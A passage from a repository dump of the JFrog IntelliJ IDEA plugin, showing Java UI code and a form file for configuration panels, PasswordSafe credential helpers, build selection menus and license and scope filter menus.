(ObjectUtils.defaultIfNull(serverConfig.getPolicyType(), ServerConfig.PolicyType.VULNERABILITIES)) {\n            case WATCHES -> {\n                accordingToWatchesRadioButton.setSelected(true);\n                watches.setEnabled(true);\n                watches.setText(serverConfig.getWatches());\n            }\n            case PROJECT -> {\n                accordingToProjectRadioButton.setSelected(true);\n                watches.setEnabled(false);\n            }\n            case VULNERABILITIES -> {\n                allVulnerabilitiesRadioButton.setSelected(true);\n                watches.setEnabled(false);\n            }\n        }\n    }\n\n    /**\n     * Initialize the \"Restore Defaults\" button of the \"Connection Options\" section in the \"Advanced\" tab.\n     */\n    private void initConnectionOptionsRestoreDefaultsActionLink() {\n        connectionOptionsRestoreDefaultsActionLink.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            connectionRetries.setValue(ConnectionRetriesSpinner.RANGE.initial);\n            connectionTimeout.setValue(ConnectionTimeoutSpinner.RANGE.initial);\n        }));\n    }\n\n    /**\n     * Initialize the \"Restore Defaults\" button of the \"Scan Options\" section in the \"Advanced\" tab.\n     */\n    private void initScanOptionsRestoreDefaultsActionLink() {\n        scanOptionsRestoreDefaultsActionLink.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            excludedPaths.setText(DEFAULT_EXCLUSIONS);\n        }));\n    }\n\n    /**\n     * Initialize the \"Plugin Resources\" components in the \"Advanced\" tab.\n     */\n    private void initPluginResourcesComponents() {\n        downloadResourcesFromReleasesRadioButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            updateExternalRepositoryFields();\n        }));\n        downloadResourcesThroughArtifactoryRadioButton.addActionListener(e -> ApplicationManager.getApplication().executeOnPooledThread(() -> {\n            updateExternalRepositoryFields();\n        }));\n\n        // This is needed for the links in the labels to work\n        pluginResourcesDescJBLabel.setCopyable(true);\n        releasesRepoLinkJBLabel.setCopyable(true);\n    }\n\n    private void updateExternalRepositoryFields() {\n        boolean enabled = downloadResourcesThroughArtifactoryRadioButton.isSelected();\n        repositoryNameJLabel.setEnabled(enabled);\n        repositoryNameJBTextField.setEnabled(enabled);\n        repositoryNameDescJLabel.setEnabled(enabled);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogProjectConfiguration.form",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<form xmlns=\"http://www.intellij.com/uidesigner/form/\" version=\"1\" bind-to-class=\"com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration\">\n  <grid id=\"27dc6\" binding=\"config\" layout-manager=\"GridLayoutManager\" row-count=\"4\" column-count=\"2\" same-size-horizontally=\"false\" same-size-vertically=\"false\" hgap=\"-1\" vgap=\"-1\">\n    <margin top=\"0\" left=\"0\" bottom=\"0\" right=\"0\"/>\n    <constraints>\n      <xy x=\"20\" y=\"20\" width=\"990\" height=\"400\"/>\n    </constraints>\n    <properties/>\n    <border type=\"none\"/>\n    <children>\n      <component id=\"3c5a3\" class=\"javax.swing.JLabel\">\n        <constraints>\n          <grid row=\"0\" column=\"0\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n        </constraints>\n        <properties>\n          <text value=\"Build name pattern\"/>\n        </properties>\n      </component>\n      <vspacer id=\"e22ba\">\n        <constraints>\n          <grid row=\"3\" column=\"0\" row-span=\"1\" col-span=\"2\" vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" indent=\"0\" use-parent-layout=\"false\"/>\n        </constraints>\n      </vspacer>\n      <component id=\"72d68\" class=\"com.intellij.ui.components.JBTextField\" binding=\"buildsPattern\">\n        <constraints>\n          <grid row=\"0\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" indent=\"0\" use-parent-layout=\"false\">\n            <preferred-size width=\"150\" height=\"-1\"/>\n          </grid>\n        </constraints>\n        <properties>\n          <text value=\"\"/>\n          <toolTipText value=\"A wildcards pattern, to match the name of builds published to Artifactory.\"/>\n        </properties>\n      </component>\n      <component id=\"9b39e\" class=\"javax.swing.JLabel\">\n        <constraints>\n          <grid row=\"1\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n        </constraints>\n        <properties>\n          <enabled value=\"false\"/>\n          <text value=\"A wildcards pattern, to match the name of builds published to Artifactory.\"/>\n        </properties>\n      </component>\n      <component id=\"dbdc8\" class=\"javax.swing.JLabel\">\n        <constraints>\n          <grid row=\"2\" column=\"1\" row-span=\"1\" col-span=\"1\" vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" indent=\"0\" use-parent-layout=\"false\"/>\n        </constraints>\n        <properties>\n          <enabled value=\"false\"/>\n          <text value=\"Only builds which match the pattern are visible under the CI tab.\"/>\n        </properties>\n      </component>\n    </children>\n  </grid>\n</form>\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/JFrogProjectConfiguration.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.ide.util.PropertiesComponent;\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.openapi.options.Configurable;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.ui.components.JBTextField;\nimport com.intellij.util.messages.MessageBus;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.Nullable;\n\nimport javax.swing.*;\n\nimport static org.apache.commons.lang3.StringUtils.trim;\n\n/**\n * @author yahavi\n **/\npublic class JFrogProjectConfiguration implements Configurable, Configurable.NoScroll {\n    public static final String BUILDS_PATTERN_KEY = \"buildsPattern\";\n    private JBTextField buildsPattern;\n    private final Project project;\n    private JPanel config;\n\n    public JFrogProjectConfiguration(Project project) {\n        this.project = project;\n    }\n\n    @Override\n    public String getDisplayName() {\n        return \"CI Integration\";\n    }\n\n    @Override\n    public @Nullable\n    JComponent createComponent() {\n        return config;\n    }\n\n    @Override\n    public boolean isModified() {\n        PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project);\n        return !StringUtils.equals(propertiesComponent.getValue(BUILDS_PATTERN_KEY), buildsPattern.getText());\n    }\n\n    @Override\n    public void apply() {\n        PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project);\n        propertiesComponent.setValue(BUILDS_PATTERN_KEY, trim(buildsPattern.getText()));\n        MessageBus messageBus = ApplicationManager.getApplication().getMessageBus();\n        messageBus.syncPublisher(ApplicationEvents.ON_BUILDS_CONFIGURATION_CHANGE).update();\n    }\n\n    @Override\n    public void reset() {\n        loadConfig();\n    }\n\n    private void loadConfig() {\n        buildsPattern.getEmptyText().setText(\"Example: my-build-*\");\n        buildsPattern.setInputVerifier(new BuildsVerifier(buildsPattern));\n        PropertiesComponent propertiesComponent = PropertiesComponent.getInstance(project);\n        String buildPattern = propertiesComponent.getValue(BUILDS_PATTERN_KEY);\n        if (buildPattern != null) {\n            buildsPattern.setText(buildPattern);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/configuration/Utils.java",
    "content": "package com.jfrog.ide.idea.ui.configuration;\n\nimport com.intellij.credentialStore.CredentialAttributes;\nimport com.intellij.credentialStore.CredentialAttributesKt;\nimport com.intellij.credentialStore.Credentials;\nimport com.intellij.ide.BrowserUtil;\nimport com.intellij.ide.passwordSafe.PasswordSafe;\nimport com.intellij.openapi.ui.MessageType;\nimport com.intellij.openapi.ui.popup.JBPopupFactory;\nimport com.intellij.ui.HyperlinkLabel;\nimport com.intellij.util.Time;\nimport com.intellij.util.ui.UIUtil;\n\nimport javax.swing.*;\nimport javax.swing.text.JTextComponent;\nimport java.awt.event.FocusAdapter;\nimport java.awt.event.FocusEvent;\nimport java.util.Arrays;\n\nimport static org.apache.commons.lang3.StringUtils.*;\n\n/**\n * @author yahavi\n **/\npublic class Utils {\n\n    /**\n     * Set active background for hovering.\n     *\n     * @param label - The label to set\n     */\n    public static void setActiveForegroundColor(JLabel label) {\n        label.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getActiveTextColor() : UIUtil.getTextAreaForeground());\n    }\n\n    /**\n     * Set inactive background for hovering.\n     *\n     * @param label - The label to set\n     */\n    public static void setInactiveForegroundColor(JLabel label) {\n        label.setForeground(UIUtil.isUnderDarcula() ? UIUtil.getHeaderInactiveColor() : UIUtil.getInactiveTextColor());\n    }\n\n    /**\n     * Clear text for multiple text fields.\n     *\n     * @param textFields - The text fields\n     */\n    public static void clearText(JTextField... textFields) {\n        Arrays.stream(textFields).forEach(textField -> textField.setText(\"\"));\n    }\n\n    /**\n     * Get credentials from PasswordSafe if exist. Otherwise, null.\n     *\n     * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea\n     * @param key       - The key inside the plugin settings, typically password\n     * @return credentials from PasswordSafe if exist. Otherwise, null.\n     */\n    public static Credentials retrieveCredentialsFromPasswordSafe(String subsystem, String key) {\n        if (isBlank(key)) {\n            return null;\n        }\n        try {\n            return PasswordSafe.getInstance().get(createCredentialAttributes(subsystem, key));\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    /**\n     * Store credentials in PasswordSafe.\n     *\n     * @param subsystem   - The subsystem key in the PasswordSafe, typically com.jfrog.idea\n     * @param key         - The key inside the plugin settings, typically password\n     * @param credentials - The credentials to store\n     */\n    public static void storeCredentialsInPasswordSafe(String subsystem, String key, Credentials credentials) {\n        if (isBlank(key)) {\n            return;\n        }\n        PasswordSafe.getInstance().set(createCredentialAttributes(subsystem, key), credentials);\n    }\n\n    /**\n     * Remove credentials from PasswordSafe.\n     *\n     * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea\n     * @param key       - The key inside the plugin settings, typically password\n     */\n    public static void removeCredentialsInPasswordSafe(String subsystem, String key) {\n        storeCredentialsInPasswordSafe(subsystem, key, null);\n    }\n\n    /**\n     * Create credentials attributes to use as the key in the PasswordSafe.\n     *\n     * @param subsystem - The subsystem key in the PasswordSafe, typically com.jfrog.idea\n     * @param key       - The key inside the plugin settings, typically password\n     * @return the new credentials attributes.\n     */\n    public static CredentialAttributes createCredentialAttributes(String subsystem, String key) {\n        return new CredentialAttributes(CredentialAttributesKt.generateServiceName(subsystem, key));\n    }\n\n    /**\n     * Set the input HyperlinkLabel\n     *\n     * @param label - The hyperlink label to set\n     * @param text  - The text\n     * @param link  - The link\n     */\n    @SuppressWarnings(\"UnstableApiUsage\")\n    public static void initHyperlinkLabel(HyperlinkLabel label, String text, String link) {\n        label.setTextWithHyperlink(\"    \" + text);\n        label.addHyperlinkListener(l -> BrowserUtil.browse(link));\n        label.setForeground(UIUtil.getInactiveTextColor());\n    }\n\n    /**\n     * Create the connection results balloon.\n     *\n     * @param message   - Connection results text\n     * @param component - The component to show the results on\n     */\n    public static void createConnectionResultsBalloon(String message, JComponent component) {\n        JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(message, MessageType.ERROR, null)\n                .setHideOnClickOutside(true)\n                .setHideOnKeyOutside(true)\n                .setFadeoutTime(Time.SECOND * 10)\n                .setDialogMode(true)\n                .setTitle(\"Connection Testing\")\n                .createBalloon().showInCenterOf(component);\n    }\n\n    /**\n     * Add a temporary red border to a text component. The border disappear after gaining the focus.\n     *\n     * @param component - The text component\n     */\n    public static void addRedBorder(JTextComponent component) {\n        component.setBorder(BorderFactory.createLineBorder(UIUtil.getErrorForeground()));\n        component.addFocusListener(new FocusAdapter() {\n            @Override\n            public void focusGained(FocusEvent e) {\n                component.setBorder(UIUtil.getTextFieldBorder());\n                component.removeFocusListener(this);\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/MenuCheckbox.java",
    "content": "package com.jfrog.ide.idea.ui.menus;\n\nimport com.intellij.ui.components.JBCheckBoxMenuItem;\n\nimport java.awt.event.MouseEvent;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class MenuCheckbox extends JBCheckBoxMenuItem {\n    @Override\n    protected void processMouseEvent(MouseEvent evt) {\n        if (evt.getID() == MouseEvent.MOUSE_RELEASED && contains(evt.getPoint())) {\n            doClick();\n            setArmed(true);\n            return;\n        }\n        super.processMouseEvent(evt);\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/SelectAllCheckbox.java",
    "content": "package com.jfrog.ide.idea.ui.menus;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.ui.components.JBCheckBoxMenuItem;\nimport com.intellij.util.messages.MessageBus;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.awt.event.ItemListener;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class SelectAllCheckbox<FilterType> extends MenuCheckbox {\n\n    private final Topic<ApplicationEvents> syncEvent;\n    // If falsy, disable triggers\n    private boolean active = true;\n\n    public SelectAllCheckbox(Topic<ApplicationEvents> syncEvent) {\n        this.syncEvent = syncEvent;\n        setText(\"All\");\n        setSelected(true);\n    }\n\n    public void setListeners(@NotNull Map<FilterType, Boolean> selectionMap, @NotNull List<SelectionCheckbox<FilterType>> checkBoxMenuItems) {\n        removeListeners();\n        addItemListener(e -> {\n            if (!active) {\n                return;\n            }\n            selectionMap.entrySet().forEach(booleanEntry -> booleanEntry.setValue(isSelected()));\n\n            for (JBCheckBoxMenuItem i : checkBoxMenuItems) {\n                if (i.isSelected() != isSelected()) {\n                    i.getModel().setPressed(isSelected());\n                    i.getModel().setSelected(isSelected());\n                }\n            }\n            MessageBus messageBus = ApplicationManager.getApplication().getMessageBus();\n            messageBus.syncPublisher(syncEvent).update();\n        });\n    }\n\n    /**\n     * Set button checked without triggering the listeners.\n     *\n     * @param checked - true if the button is checked, otherwise false\n     */\n    public void setChecked(boolean checked) {\n        this.active = false;\n        setSelected(checked);\n        this.active = true;\n    }\n\n    private void removeListeners() {\n        for (ItemListener itemListener : getItemListeners()) {\n            removeItemListener(itemListener);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/SelectionCheckbox.java",
    "content": "package com.jfrog.ide.idea.ui.menus;\n\nimport com.intellij.openapi.application.ApplicationManager;\nimport com.intellij.util.messages.MessageBus;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class SelectionCheckbox<FilterType> extends MenuCheckbox {\n    public SelectionCheckbox(@NotNull Map<FilterType, Boolean> selectionMap, @NotNull FilterType item, Topic<ApplicationEvents> syncEvent) {\n        setText(item.toString());\n        setState(selectionMap.get(item));\n        addItemListener(e -> {\n            selectionMap.replace(item, isSelected());\n            MessageBus messageBus = ApplicationManager.getApplication().getMessageBus();\n            messageBus.syncPublisher(syncEvent).update();\n        });\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/ToolbarPopupMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.JBPopupMenu;\nimport com.jfrog.ide.idea.ui.components.MenuButton;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\n\n/**\n * Represents a toolbar menu. Base class for all filter and export menus.\n *\n * @author yahavi\n **/\npublic abstract class ToolbarPopupMenu extends JBPopupMenu {\n    protected final MenuButton menuButton;\n    protected final Project project;\n\n    public ToolbarPopupMenu(@NotNull Project project, String name, String tooltip, Icon icon) {\n        this.project = project;\n        this.menuButton = new MenuButton(this, name, tooltip, icon);\n    }\n\n    public MenuButton getMenuButton() {\n        return menuButton;\n    }\n\n    /**\n     * Refresh the menu items. Invoked after a change in the dependency tree.\n     */\n    public abstract void refresh();\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/builds/BuildsButton.java",
    "content": "package com.jfrog.ide.idea.ui.menus.builds;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.Disposable;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.MessageBus;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.common.ci.BuildGeneralInfo;\nimport com.jfrog.ide.idea.Syncable;\nimport com.jfrog.ide.idea.ci.CiManager;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.events.BuildEvents;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport org.apache.commons.lang3.StringUtils;\n\nimport javax.swing.*;\nimport java.awt.event.ItemEvent;\nimport java.awt.event.ItemListener;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class BuildsButton extends JComboBox<String> implements Syncable, Disposable {\n\n    private ItemListener onSelectBuildListener;\n    private final Project project;\n\n    public BuildsButton(Project project) {\n        this.project = project;\n        setRenderer(new BuildsCellRenderer());\n    }\n\n    @Override\n    public Topic<ApplicationEvents> getSyncEvent() {\n        return ApplicationEvents.ON_CI_FILTER_CHANGE;\n    }\n\n    public void setOnSelectBuildListener() {\n        onSelectBuildListener = new OnSelectBuildListener();\n        addItemListener(onSelectBuildListener);\n    }\n\n    public void removeOnSelectBuildListener() {\n        if (onSelectBuildListener != null) {\n            removeItemListener(onSelectBuildListener);\n        }\n    }\n\n    private class OnSelectBuildListener implements ItemListener {\n        @Override\n        public void itemStateChanged(ItemEvent e) {\n            if (e.getStateChange() == ItemEvent.SELECTED) {\n                String selectedBuild = (String) e.getItem();\n                CiFilterManager.getInstance(project).getSelectableBuilds()\n                        .forEach(selectableItem -> selectableItem.setValue(StringUtils.equals(selectedBuild, selectableItem.getKey())));\n                MessageBus messageBus = project.getMessageBus();\n                messageBus.syncPublisher(getSyncEvent()).update();\n                BuildGeneralInfo generalInfo = CiManager.getInstance(project).getBuildGeneralInfo(selectedBuild);\n                if (generalInfo == null) {\n                    String msg = String.format(\"Couldn't find build '%s' within the build results.\", selectedBuild);\n                    Logger.getInstance().error(msg);\n                    return;\n                }\n                messageBus.syncPublisher(BuildEvents.ON_SELECTED_BUILD).update(generalInfo);\n            }\n        }\n    }\n\n    private static class BuildsCellRenderer extends DefaultListCellRenderer {\n        @Override\n        public void setIcon(Icon icon) {\n            super.setIcon(AllIcons.General.GearPlain);\n        }\n    }\n\n    @Override\n    public void dispose() {\n        removeOnSelectBuildListener();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/builds/BuildsMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.builds;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.ui.JBPopupMenu;\nimport com.intellij.ui.ComboboxSpeedSearch;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class BuildsMenu extends JBPopupMenu {\n\n    private final ComboboxSpeedSearch buildsButton;\n    private final Project project;\n\n    public BuildsMenu(Project project) {\n        this.project = project;\n        this.buildsButton = new ComboboxSpeedSearch(new BuildsButton(project));\n    }\n\n    public void refresh() {\n        BuildsButton buildsButton = getBuildButton();\n\n        // Remove all builds\n        buildsButton.removeOnSelectBuildListener();\n        buildsButton.removeAllItems();\n\n        // Add builds from to the collected builds information in the last builds scan\n        CiFilterManager.getInstance(project).getSelectableBuilds().forEach(build -> {\n            String item = build.getKey();\n            buildsButton.addItem(item);\n            if (build.getValue()) {\n                buildsButton.setSelectedItem(item);\n            }\n        });\n        buildsButton.setOnSelectBuildListener();\n    }\n\n    public BuildsButton getBuildButton() {\n        return (BuildsButton) buildsButton.getComponent();\n    }\n\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermanager/CiFilterManager.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermanager;\n\nimport com.intellij.openapi.components.State;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\nimport javax.swing.tree.DefaultMutableTreeNode;\n\n/**\n * @author yahavi\n */\n@State(name = \"CiFilterState\")\npublic class CiFilterManager extends ConsistentFilterManager {\n\n    public CiFilterManager(Project project) {\n        super(project);\n    }\n\n    public static CiFilterManager getInstance(@NotNull Project project) {\n        return project.getService(CiFilterManager.class);\n    }\n\n    public void collectBuildsInformation(DependencyTree root) {\n        clearBuilds();\n        root.getChildren().stream()\n                .map(DefaultMutableTreeNode::getUserObject)\n                .map(Object::toString)\n                .forEach(this::addBuild);\n    }\n\n    @Override\n    public Topic<ApplicationEvents> getSyncEvent() {\n        return ApplicationEvents.ON_CI_FILTER_CHANGE;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermanager/ConsistentFilterManager.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermanager;\n\nimport com.intellij.openapi.components.PersistentStateComponent;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.common.filter.FilterManager;\nimport com.jfrog.ide.idea.Syncable;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.License;\nimport org.jfrog.build.extractor.scan.Scope;\nimport org.jfrog.build.extractor.scan.Severity;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @author yahavi\n */\npublic abstract class ConsistentFilterManager extends FilterManager implements PersistentStateComponent<ConsistentFilterManager.FiltersState>, Syncable {\n\n    private final Project project;\n    private FiltersState state;\n\n    public ConsistentFilterManager(Project project) {\n        this.project = project;\n    }\n\n    /**\n     * Only on first scan after project opens, update the selected-licenses from state.\n     * After updating, set state's licenses map to null.\n     *\n     * @return Selected licenses map according to persisted state.\n     */\n    public Map<License, Boolean> getSelectedLicenses() {\n        Map<License, Boolean> selectedLicenses = super.getSelectedLicenses();\n        if (state == null || state.selectedLicences == null) {\n            return selectedLicenses;\n        }\n\n        // Previous state exists.\n        for (License license : selectedLicenses.keySet()) {\n            if (state.selectedLicences.containsKey(license.getName())) {\n                selectedLicenses.put(license, state.selectedLicences.get(license.getName()));\n            }\n        }\n        state.selectedLicences = null;\n\n        // Update components tree with applied filters.\n        if (selectedLicenses.containsValue(false)) {\n            project.getMessageBus().syncPublisher(getSyncEvent()).update();\n        }\n\n        return selectedLicenses;\n    }\n\n    /**\n     * Only on first scan after project opens, update the selected-scopes from state.\n     * After updating, set state's scopes map to null.\n     *\n     * @return Selected scopes map according to persisted state.\n     */\n    @Override\n    public Map<Scope, Boolean> getSelectedScopes() {\n        Map<Scope, Boolean> selectedScopes = super.getSelectedScopes();\n        if (state == null || state.selectedScopes == null) {\n            return selectedScopes;\n        }\n\n        // Previous state exists.\n        for (Scope scope : selectedScopes.keySet()) {\n            if (state.selectedScopes.containsKey(scope.getName())) {\n                selectedScopes.put(scope, state.selectedScopes.get(scope.getName()));\n            }\n        }\n        state.selectedScopes = null;\n\n        // Update components tree with applied filters.\n        if (selectedScopes.containsValue(false)) {\n            project.getMessageBus().syncPublisher(getSyncEvent()).update();\n        }\n\n        return selectedScopes;\n    }\n\n    static class FiltersState {\n        public Map<Severity, Boolean> selectedSeverities;\n        public Map<String, Boolean> selectedLicences;\n        public Map<String, Boolean> selectedScopes;\n    }\n\n    @Override\n    public FiltersState getState() {\n        FiltersState state = new FiltersState();\n        state.selectedSeverities = getSelectedSeverities();\n\n        // Persist only license name and whether it is selected or not.\n        state.selectedLicences = new HashMap<>();\n        super.getSelectedLicenses().forEach((license, selected) -> state.selectedLicences.put(license.getName(), selected));\n\n        // Persist only scope name and whether it is selected or not.\n        state.selectedScopes = new HashMap<>();\n        super.getSelectedScopes().forEach((scope, selected) -> state.selectedScopes.put(scope.getName(), selected));\n\n        return state;\n    }\n\n    @Override\n    public void loadState(@NotNull FiltersState state) {\n        this.state = state;\n        setSelectedSeverities(state.selectedSeverities);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiIssueFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport org.jetbrains.annotations.NotNull;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class CiIssueFilterMenu extends IssueFilterMenu {\n\n    public CiIssueFilterMenu(@NotNull Project project) {\n        super(project, CiFilterManager.getInstance(project));\n    }\n\n    @Override\n    public Topic<ApplicationEvents> getSyncEvent() {\n        return ApplicationEvents.ON_CI_FILTER_CHANGE;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiLicenseFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.ci.CiManager;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.License;\n\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 23 Nov 2017.\n */\npublic class CiLicenseFilterMenu extends LicenseFilterMenu {\n\n    public CiLicenseFilterMenu(@NotNull Project project) {\n        super(project);\n    }\n\n    @Override\n    public void refresh() {\n        Map<License, Boolean> selectedLicenses = CiFilterManager.getInstance(project).getSelectedLicenses();\n        CiManager.getInstance(project).getAllLicenses().stream()\n                .filter(license -> !selectedLicenses.containsKey(license))\n                .forEach(license -> selectedLicenses.put(license, true));\n        addComponents(selectedLicenses, true);\n        super.refresh();\n    }\n\n    @Override\n    public Topic<ApplicationEvents> getSyncEvent() {\n        return ApplicationEvents.ON_CI_FILTER_CHANGE;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/CiScopeFilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.idea.ci.CiManager;\nimport com.jfrog.ide.idea.events.ApplicationEvents;\nimport com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.extractor.scan.Scope;\n\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic class CiScopeFilterMenu extends ScopeFilterMenu {\n\n    public CiScopeFilterMenu(@NotNull Project project) {\n        super(project);\n    }\n\n    @Override\n    public void refresh() {\n        // Get selected scopes\n        Map<Scope, Boolean> selectedScopes = CiFilterManager.getInstance(project).getSelectedScopes();\n\n        // Hide the button if there are no scopes - for example in Go projects\n        if (selectedScopes.size() == 1 && selectedScopes.containsKey(new Scope())) {\n            menuButton.setVisible(false);\n            return;\n        }\n        if (!menuButton.isVisible()) {\n            menuButton.setVisible(true);\n        }\n\n        // Add checkboxes and triggers\n        CiManager.getInstance(project).getAllScopes()\n                .stream()\n                .filter(scope -> !selectedScopes.containsKey(scope))\n                .forEach(scope -> selectedScopes.put(scope, true));\n        addComponents(selectedScopes, true);\n        super.refresh();\n    }\n\n    @Override\n    public Topic<ApplicationEvents> getSyncEvent() {\n        return ApplicationEvents.ON_CI_FILTER_CHANGE;\n    }\n}"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/ui/menus/filtermenu/FilterMenu.java",
    "content": "package com.jfrog.ide.idea.ui.menus.filtermenu;\n\nimport com.intellij.icons.AllIcons;\nimport com.intellij.openapi.project.Project;\nimport com.jfrog.ide.idea.Syncable;\nimport com.jfrog.ide.idea.ui.components.MenuButton;\nimport com.jfrog.ide.idea.ui.menus.MenuCheckbox;\nimport com.jfrog.ide.idea.ui.menus.SelectAllCheckbox;\nimport com.jfrog.ide.idea.ui.menus.SelectionCheckbox;\nimport com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu;\nimport org.apache.commons.compress.utils.Lists;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\n\nimport javax.swing.*;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created by Yahav Itzhak on 22 Nov 2017.\n */\npublic abstract class FilterMenu<FilterType> extends ToolbarPopupMenu implements Syncable {\n\n    private final SelectAllCheckbox<FilterType> selectAllCheckbox = new SelectAllCheckbox<>(getSyncEvent());\n    private final List<SelectionCheckbox<FilterType>> checkBoxMenuItems = Lists.newArrayList();\n\n    protected FilterMenu(@NotNull Project project, String name, String tooltip) {\n        super(project, name, tooltip, AllIcons.General.Filter);\n    }\n\n    @Override\n    public void refresh() {\n        menuButton.indicateFilterEnable(checkBoxMenuItems.stream().anyMatch(checkBoxMenuItem -> !checkBoxMenuItem.isSelected()));\n    }\n\n    public MenuButton getFilterButton() {\n        return menuButton;\n    }\n\n    /**\n     * Add all menu's components in 3 steps: Set 'All' checkbox, set listeners and add the required components.\n     *\n     * @param selectionMap   - Map between 